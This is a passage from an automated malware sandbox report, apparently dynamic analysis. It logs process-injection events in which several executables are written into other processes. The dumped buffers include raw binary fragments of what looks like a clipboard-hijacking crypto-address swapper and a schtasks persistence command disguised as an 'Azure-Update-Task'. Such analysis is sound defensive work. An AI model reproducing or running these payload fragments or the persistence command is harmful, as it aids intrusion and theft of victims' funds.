NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3972 region_size: 49152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002b4		3221225496	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3228 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002a8		3221225496	0
NtAllocateVirtualMemory July 19, 2021, 10:32 a.m.	process_identifier: 3936 region_size: 32768 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000002ac	1	0	0

Potential code injection by writing to the memory of another process (38 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2568 injected into non-child 3844
Process injection	Process 3476 injected into non-child 3936
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL#·^à¨ Ç à@ @ÄÆWàÿ H.text$§ ¨ `.rsrcÿàª@@.reloc²@B base_address: 0x00400000 process_identifier: 3844 process_handle: 0x0000036c	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: P8h àÌlãÌ4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°,StringFileInfo000004b0Comments"CompanyNameFileDescription0FileVersion1.0.0.02 InternalNameStub.exe&LegalCopyrightLegalTrademarks: OriginalFilenameStub.exe"ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0ï»¿<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> <application> <!-- Windows Vista --> <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/> <!-- Windows 7 --> <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/> <!-- Windows 8 --> <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/> <!-- Windows 8.1 --> <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/> <!-- Windows 10 --> <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/> </application> </compatibility> <asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" > <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"> <dpiAware>true</dpiAware> </asmv3:windowsSettings> </asmv3:application> </assembly> base_address: 0x0040e000 process_identifier: 3844 process_handle: 0x0000036c	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: À 7 base_address: 0x00410000 process_identifier: 3844 process_handle: 0x0000036c	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3844 process_handle: 0x0000036c	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: <0>(0>h0>J0>X0>v0>KERNEL32.DLLExitProcessGetProcAddressLoadLibraryAVirtualProtect >2759P9T9X9\9p9´9À9 >2759P9T9X9\9p9´9À9 base_address: 0x007e3000 process_identifier: 2532 process_handle: 0x00000540	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2532 process_handle: 0x00000540	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELèu=^àBna @ À@aWØ H.texttA B `.rsrcØD@@.reloc J@B base_address: 0x00400000 process_identifier: 4008 process_handle: 0x000002b8	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: 8Ph DèêD4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°¤StringFileInfo000004b0,FileDescription 0FileVersion0.0.0.08InternalNameuactest.exe(LegalCopyright @OriginalFilenameuactest.exe4ProductVersion0.0.0.08Assembly Version0.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00408000 process_identifier: 4008 process_handle: 0x000002b8	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: `p1 base_address: 0x0040a000 process_identifier: 4008 process_handle: 0x000002b8	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 4008 process_handle: 0x000002b8	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELÅn=^àî; @@ @;W@è`\: H.textô `.rsrcè@@@.reloc`.@B base_address: 0x00400000 process_identifier: 3184 process_handle: 0x000002b4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: 0ð; base_address: 0x00406000 process_identifier: 3184 process_handle: 0x000002b4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3184 process_handle: 0x000002b4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l*<@)8 0.text `.rdata @@.data`0@À.reloc@ @B base_address: 0x00400000 process_identifier: 2464 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: Øèú++,+>+J+R+n+G2A/CLP/05/RYS1H9NFqUtQzeA4cJmZDNcvB76bDQxuo92Qk39cHDmev78NtmyeGQs1fDht8U8NKWZbdM7bc1qvlhr9gykz9h2zgskxad0lt2xu9yy4pwscld556LcAjxUppjwEqyNvKeySys3xQZx2dTK6BzSMBW6dhENFT9daN4MkkNCcVRpNnPc9sF5Jqltc1qelyznk4hgm5j6wwr0xfhw8hqwgwyzamsjwfg540xE269734e6C856a5971Ec5146fF5cC491682Ade0e00000L0000T00MON00000000000000000000000LcAjxUppjwEqyNvKeySys3xQZx2dTK6BzS00000000000000W000000085Y45vaBPdTLcfUEVhrrCK3TBedpFFYSwTKyvLYLDuszXkbW6prBw9zU1Wj4zxtrujEp7cwxC7WmyRWWCeH2Vu6rAcX249pD8t9R5NDwSAz1Zv3k1gWthHGGNzxuZufasaddr1q8pmkel9phluj64z7rluua9lyavu06fv9n45dvhcehjaftmwwq9e8x26dymexm7td77xaedzue0prf8xgt733ljlkjfsm8j7czAe2tdPwUPEZDqNhACJ3ZT5NdXjkNffGAwa4Mc9N87udKWYzt1VnFngLMnPEbnb1elmmn9wrrd4fpz9kecjjryuh26pcr3gd7k39u0kernel32.dllLoadLibraryWShlwapi.dllntdll.dllShell32.dllOle32.dllUser32.dllGetProcAddressGetModuleFileNameWCreateDirectoryWGlobalAllocGlobalFreeGlobalLockGlobalUnlockLocalAllocLocalFreelstrlenWStrChrWStrStrWStrStrIWStrToIntExWPathIsDirectoryWCoInitializeHeapFreeCreateMutexACreateMutexWGetLastErrorSHGetFolderPathAPathAppendWStringCbPrintfWmemsetwmemsetmemcpyOpenClipboardGetClipboardDataEmptyClipboardSetClipboardDataCloseClipboard\Microsoft\Network\sqlcmd.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr ""C:\Windows\System32\schtasks.exe0 @8#@x"@@$@%@È!@!@ø#@P @à @ @%@ "@8!@B` ´¸)¸B`GCTL.text$mn 0.idata$50 .rdata¸)´.rdata$zzzdbgl(.idata$2.idata$3¨0.idata$4Ø¶.idata$60`.bss¨`+ Ð+( Øèú++,+>+J+R+n+ÄLoadLibraryW®GetProcAddress×WaitForSingleObjectCloseHandle^ExitProcessåCreateProcessWCopyFileW}Sleep4GlobalFreeKERNEL32.dllXSHGetFolderPathWSHELL32.dll base_address: 0x00402000 process_identifier: 2464 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l<@)8 0.text `.rdata @@.data`0@À.reloc@ @BUììhà%@ÿ @EüÀTSV5 @Whü%@PÿÖh&@£0@ÿÐh$&@Eøÿ0@h8&@Eðÿ0@hP&@Øÿ0@hd&@øÿ0@hP&@Eôÿ0@h\|&@ÿuüÿÖuüh&@V£80@ÿÐh &@V£0@ÿ80@h´&@V£D0@ÿ80@hÀ&@V£$0@ÿ80@hÌ&@V£<0@ÿ80@hØ&@V£0@ÿ80@hè&@V£40@ÿ80@hô&@V£0@ÿ80@h'@V£00@ÿ80@uøh'@V£ 0@ÿ80@h'@V£0@ÿ80@h'@V£T0@ÿ80@h('@Vÿ80@h4'@Vÿ80@hH'@W£X0@ÿ80@}ühX'@Wÿ80@hd'@Wÿ80@ht'@Wÿ80@h'@W£@0@ÿ80@h'@S£,0@ÿ80@h¨'@Vÿ80@uôh´'@V£0@ÿ80@]ðhÄ'@Sÿ80@hÌ'@S£(0@ÿ80@hÔ'@Sÿ80@hÜ'@V£0@ÿ80@hì'@V£H0@ÿ80@h(@V£\0@ÿ80@h(@V£0@ÿ80@h$(@V£P0@ÿ80@_^£L0@[ÉÃUììðûÿÿVhP3öVÿ0@øýÿÿPVVjVÿ( @Àxfh4(@øýÿÿPÿ0@øýÿÿPÿX0@ÀuVøýÿÿPÿD0@h\(@øýÿÿPÿ0@øýÿÿPðûÿÿPÿT0@Àtøýÿÿè,^ÉÃVøýÿÿPðûÿÿPÿ @øýÿÿè jÿÿ @ÌUììXSVWjD_W3ÛE¨SPñÿ(0@jEì}¨SPÿ(0@Ähj@ÿ0@ºx(@EüMüèºÄ(@Müèºè(@MüèrÖMüèhºø(@Müè[}üEìPE¨PSShSSSWh)@ÿ @ÀuÿtWÿ00@3Àë)jÿÿuìÿ @ÿuì5 @ÿÖÿuðÿÖÿtWÿ00@3À@_^[ÉÃUì3ÀÒtúÿÿÿv¸WÀxHÒt+VW}¾þÿÿ+ò+ùÀt·fÀtfÁêuå_^ÒAþEÁ3ÉÒf¸zEÁë Òt3Òf]ÂUìQSVWjl[òùj1Xf9¤Vÿ 0@ø"j0Vÿ0@ÀjOVÿ0@ÀuvjIVÿ0@ÀuiSVÿ0@Àu]Vÿ7ÿT0@ØÛtKÓ+ÑúRèºP @YMüEüèûVÿ 0@MüCèé?tÿ7ÿ @Eü3À@éýjl[f>3ufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèàº @éYÿÿÿVÿ 0@jcYjb[øu[f9uVf9NuPj1Xf9FuGjO^Sÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèvºà @éïþÿÿjb[Vÿ 0@øu^f9uYf~nuRf9^uLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè º%@éþÿÿf>LuiVÿ 0@ø"u]j0Vÿ0@ÀuPjOVÿ0@ÀuCjIVÿ0@jl[Àu6SVÿ0@ÀuVÿ7ÿT0@ØÛtÓ+ÑúRèº8!@éþÿÿjl[f>MufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè+º!@é¤ýÿÿVÿ 0@ø+udjlXf9u\f~tuUjcXf9FuLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè»ºÈ!@é4ýÿÿÎèêÀt'Vÿ7ÿT0@ØÛtÓ+ÑúRèº base_address: 0x00403000 process_identifier: 2464 process_handle: 0x00000538		0	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: Ü0 0 0&0.030:0C0H0Q0V0^0c0k0p0y0~00000¤0©0¯0µ0º0À0Æ0Ë0Ñ0×0Ü0â0è0í0ó0ù0þ01 1111#1)1/141:1@1E1K1Q1V1]1b1i1n1t1z111111¡1¦1¬1²1·1½1Ã1È1Ï1×1Ý1ã1ë1ò1÷1ý122222 2%2+21262<2B2G2M2S2X2^2d2k222¨2µ2Â2Ô2Ù2æ2ú2!343Q3a3q3v333ª3Í3Ó3â3ñ3ú34¤4¶4Ç4Ô4à4í45515N5\5i5v555¨5´5ß5ì5ù56!6L6Y6f6666¬6¹6È6Õ6î6777+777D7]7i77§7´7Í7æ7ÿ7818J8c8\|88¡8Ô8í8ù8949U9`9g9q9y99999®9»9È9Õ9Û9ó9ý9::5:G:³:õ:;9;C;S;^;)<6<G<h<<Ï<û<y==¢=>>>(>=>>©>¶>Ã>å>v???? $D9H9L9P9T9X9\9`9d9h9l9p9t9x9 base_address: 0x00404000 process_identifier: 2464 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2464 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL#·^à¨ Ç à@ @ÄÆWàÿ H.text$§ ¨ `.rsrcÿàª@@.reloc²@B base_address: 0x00400000 process_identifier: 3156 process_handle: 0x00000368	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: P8h àÌlãÌ4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°,StringFileInfo000004b0Comments"CompanyNameFileDescription0FileVersion1.0.0.02 InternalNameStub.exe&LegalCopyrightLegalTrademarks: OriginalFilenameStub.exe"ProductName4ProductVersion1.0.0.08Assembly Version1.0.0.0ï»¿<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges> <requestedExecutionLevel level="asInvoker" uiAccess="false" /> </requestedPrivileges> </security> </trustInfo> <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"> <application> <!-- Windows Vista --> <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/> <!-- Windows 7 --> <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/> <!-- Windows 8 --> <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/> <!-- Windows 8.1 --> <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/> <!-- Windows 10 --> <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/> </application> </compatibility> <asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" > <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings"> <dpiAware>true</dpiAware> </asmv3:windowsSettings> </asmv3:application> </assembly> base_address: 0x0040e000 process_identifier: 3156 process_handle: 0x00000368	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: À 7 base_address: 0x00410000 process_identifier: 3156 process_handle: 0x00000368	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3156 process_handle: 0x00000368	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: <0>(0>h0>J0>X0>v0>KERNEL32.DLLExitProcessGetProcAddressLoadLibraryAVirtualProtect >2759P9T9X9\9p9´9À9 >2759P9T9X9\9p9´9À9 base_address: 0x007e3000 process_identifier: 3248 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3248 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELèu=^àBna @ À@aWØ H.texttA B `.rsrcØD@@.reloc J@B base_address: 0x00400000 process_identifier: 4076 process_handle: 0x000002a4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: 8Ph DèêD4VS_VERSION_INFO½ïþ?DVarFileInfo$Translation°¤StringFileInfo000004b0,FileDescription 0FileVersion0.0.0.08InternalNameuactest.exe(LegalCopyright @OriginalFilenameuactest.exe4ProductVersion0.0.0.08Assembly Version0.0.0.0ï»¿<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity version="1.0.0.0" name="MyApplication.app"/> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"> <security> <requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3"> <requestedExecutionLevel level="asInvoker" uiAccess="false"/> </requestedPrivileges> </security> </trustInfo> </assembly> base_address: 0x00408000 process_identifier: 4076 process_handle: 0x000002a4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: `p1 base_address: 0x0040a000 process_identifier: 4076 process_handle: 0x000002a4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 4076 process_handle: 0x000002a4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELÅn=^àî; @@ @;W@è`\: H.textô `.rsrcè@@@.reloc`.@B base_address: 0x00400000 process_identifier: 3936 process_handle: 0x000002ac	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: 0ð; base_address: 0x00406000 process_identifier: 3936 process_handle: 0x000002ac	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3936 process_handle: 0x000002ac	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l*<@)8 0.text `.rdata @@.data`0@À.reloc@ @B base_address: 0x00400000 process_identifier: 3316 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: Øèú++,+>+J+R+n+G2A/CLP/05/RYS1H9NFqUtQzeA4cJmZDNcvB76bDQxuo92Qk39cHDmev78NtmyeGQs1fDht8U8NKWZbdM7bc1qvlhr9gykz9h2zgskxad0lt2xu9yy4pwscld556LcAjxUppjwEqyNvKeySys3xQZx2dTK6BzSMBW6dhENFT9daN4MkkNCcVRpNnPc9sF5Jqltc1qelyznk4hgm5j6wwr0xfhw8hqwgwyzamsjwfg540xE269734e6C856a5971Ec5146fF5cC491682Ade0e00000L0000T00MON00000000000000000000000LcAjxUppjwEqyNvKeySys3xQZx2dTK6BzS00000000000000W000000085Y45vaBPdTLcfUEVhrrCK3TBedpFFYSwTKyvLYLDuszXkbW6prBw9zU1Wj4zxtrujEp7cwxC7WmyRWWCeH2Vu6rAcX249pD8t9R5NDwSAz1Zv3k1gWthHGGNzxuZufasaddr1q8pmkel9phluj64z7rluua9lyavu06fv9n45dvhcehjaftmwwq9e8x26dymexm7td77xaedzue0prf8xgt733ljlkjfsm8j7czAe2tdPwUPEZDqNhACJ3ZT5NdXjkNffGAwa4Mc9N87udKWYzt1VnFngLMnPEbnb1elmmn9wrrd4fpz9kecjjryuh26pcr3gd7k39u0kernel32.dllLoadLibraryWShlwapi.dllntdll.dllShell32.dllOle32.dllUser32.dllGetProcAddressGetModuleFileNameWCreateDirectoryWGlobalAllocGlobalFreeGlobalLockGlobalUnlockLocalAllocLocalFreelstrlenWStrChrWStrStrWStrStrIWStrToIntExWPathIsDirectoryWCoInitializeHeapFreeCreateMutexACreateMutexWGetLastErrorSHGetFolderPathAPathAppendWStringCbPrintfWmemsetwmemsetmemcpyOpenClipboardGetClipboardDataEmptyClipboardSetClipboardDataCloseClipboard\Microsoft\Network\sqlcmd.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr ""C:\Windows\System32\schtasks.exe0 @8#@x"@@$@%@È!@!@ø#@P @à @ @%@ "@8!@B` ´¸)¸B`GCTL.text$mn 0.idata$50 .rdata¸)´.rdata$zzzdbgl(.idata$2.idata$3¨0.idata$4Ø¶.idata$60`.bss¨`+ Ð+( Øèú++,+>+J+R+n+ÄLoadLibraryW®GetProcAddress×WaitForSingleObjectCloseHandle^ExitProcessåCreateProcessWCopyFileW}Sleep4GlobalFreeKERNEL32.dllXSHGetFolderPathWSHELL32.dll base_address: 0x00402000 process_identifier: 3316 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l<@)8 0.text `.rdata @@.data`0@À.reloc@ @BUììhà%@ÿ @EüÀTSV5 @Whü%@PÿÖh&@£0@ÿÐh$&@Eøÿ0@h8&@Eðÿ0@hP&@Øÿ0@hd&@øÿ0@hP&@Eôÿ0@h\|&@ÿuüÿÖuüh&@V£80@ÿÐh &@V£0@ÿ80@h´&@V£D0@ÿ80@hÀ&@V£$0@ÿ80@hÌ&@V£<0@ÿ80@hØ&@V£0@ÿ80@hè&@V£40@ÿ80@hô&@V£0@ÿ80@h'@V£00@ÿ80@uøh'@V£ 0@ÿ80@h'@V£0@ÿ80@h'@V£T0@ÿ80@h('@Vÿ80@h4'@Vÿ80@hH'@W£X0@ÿ80@}ühX'@Wÿ80@hd'@Wÿ80@ht'@Wÿ80@h'@W£@0@ÿ80@h'@S£,0@ÿ80@h¨'@Vÿ80@uôh´'@V£0@ÿ80@]ðhÄ'@Sÿ80@hÌ'@S£(0@ÿ80@hÔ'@Sÿ80@hÜ'@V£0@ÿ80@hì'@V£H0@ÿ80@h(@V£\0@ÿ80@h(@V£0@ÿ80@h$(@V£P0@ÿ80@_^£L0@[ÉÃUììðûÿÿVhP3öVÿ0@øýÿÿPVVjVÿ( @Àxfh4(@øýÿÿPÿ0@øýÿÿPÿX0@ÀuVøýÿÿPÿD0@h\(@øýÿÿPÿ0@øýÿÿPðûÿÿPÿT0@Àtøýÿÿè,^ÉÃVøýÿÿPðûÿÿPÿ @øýÿÿè jÿÿ @ÌUììXSVWjD_W3ÛE¨SPñÿ(0@jEì}¨SPÿ(0@Ähj@ÿ0@ºx(@EüMüèºÄ(@Müèºè(@MüèrÖMüèhºø(@Müè[}üEìPE¨PSShSSSWh)@ÿ @ÀuÿtWÿ00@3Àë)jÿÿuìÿ @ÿuì5 @ÿÖÿuðÿÖÿtWÿ00@3À@_^[ÉÃUì3ÀÒtúÿÿÿv¸WÀxHÒt+VW}¾þÿÿ+ò+ùÀt·fÀtfÁêuå_^ÒAþEÁ3ÉÒf¸zEÁë Òt3Òf]ÂUìQSVWjl[òùj1Xf9¤Vÿ 0@ø"j0Vÿ0@ÀjOVÿ0@ÀuvjIVÿ0@ÀuiSVÿ0@Àu]Vÿ7ÿT0@ØÛtKÓ+ÑúRèºP @YMüEüèûVÿ 0@MüCèé?tÿ7ÿ @Eü3À@éýjl[f>3ufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèàº @éYÿÿÿVÿ 0@jcYjb[øu[f9uVf9NuPj1Xf9FuGjO^Sÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRèvºà @éïþÿÿjb[Vÿ 0@øu^f9uYf~nuRf9^uLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè º%@éþÿÿf>LuiVÿ 0@ø"u]j0Vÿ0@ÀuPjOVÿ0@ÀuCjIVÿ0@jl[Àu6SVÿ0@ÀuVÿ7ÿT0@ØÛtÓ+ÑúRèº8!@éþÿÿjl[f>MufVÿ 0@ø"uZj0Vÿ0@ÀuMjOVÿ0@Àu@jIVÿ0@Àu3SVÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè+º!@é¤ýÿÿVÿ 0@ø+udjlXf9u\f~tuUjcXf9FuLj1^Xf9uAjOSÿ0@Àu4jISÿ0@Àu'Vÿ7ÿT0@ØÛtÓ+ÑúRè»ºÈ!@é4ýÿÿÎèêÀt'Vÿ7ÿT0@ØÛtÓ+ÑúRèº base_address: 0x00403000 process_identifier: 3316 process_handle: 0x00000538		0	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: Ü0 0 0&0.030:0C0H0Q0V0^0c0k0p0y0~00000¤0©0¯0µ0º0À0Æ0Ë0Ñ0×0Ü0â0è0í0ó0ù0þ01 1111#1)1/141:1@1E1K1Q1V1]1b1i1n1t1z111111¡1¦1¬1²1·1½1Ã1È1Ï1×1Ý1ã1ë1ò1÷1ý122222 2%2+21262<2B2G2M2S2X2^2d2k222¨2µ2Â2Ô2Ù2æ2ú2!343Q3a3q3v333ª3Í3Ó3â3ñ3ú34¤4¶4Ç4Ô4à4í45515N5\5i5v555¨5´5ß5ì5ù56!6L6Y6f6666¬6¹6È6Õ6î6777+777D7]7i77§7´7Í7æ7ÿ7818J8c8\|88¡8Ô8í8ù8949U9`9g9q9y99999®9»9È9Õ9Û9ó9ý9::5:G:³:õ:;9;C;S;^;)<6<G<h<<Ï<û<y==¢=>>>(>=>>©>¶>Ã>å>v???? $D9H9L9P9T9X9\9`9d9h9l9p9t9x9 base_address: 0x00404000 process_identifier: 3316 process_handle: 0x00000538	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 3316 process_handle: 0x00000538	1	1	0

Code injection by writing an executable or DLL to the memory of another process (12 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2568 injected into non-child 3844
Process injection	Process 3476 injected into non-child 3936
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEL#·^à¨ Ç à@ @ÄÆWàÿ H.text$§ ¨ `.rsrcÿàª@@.reloc²@B base_address: 0x00400000 process_identifier: 3844 process_handle: 0x0000036c	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELèu=^àBna @ À@aWØ H.texttA B `.rsrcØD@@.reloc J@B base_address: 0x00400000 process_identifier: 4008 process_handle: 0x000002b8	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELÅn=^àî; @@ @;W@è`\: H.textô `.rsrcè@@@.reloc`.@B base_address: 0x00400000 process_identifier: 3184 process_handle: 0x000002b4	1	1	0
WriteProcessMemory July 19, 2021, 10:32 a.m.	buffer: MZÿÿ¸@Ðº´ Í!¸LÍ!This program cannot be run in DOS mode. $±Àõï®Ïõï®Ïõï®Ï®¯Îðï®Ïõï¯Ïÿï®Ïo§Îðï®Ïo¬Îôï®ÏRichõï®ÏPELB`àä @P@l*<@)8 0.text `.rdata @@.data`0@À.reloc@ @B base_address: 0x00400000 process_identifier: 2464 process_handle: 0x00000538	1	1	0
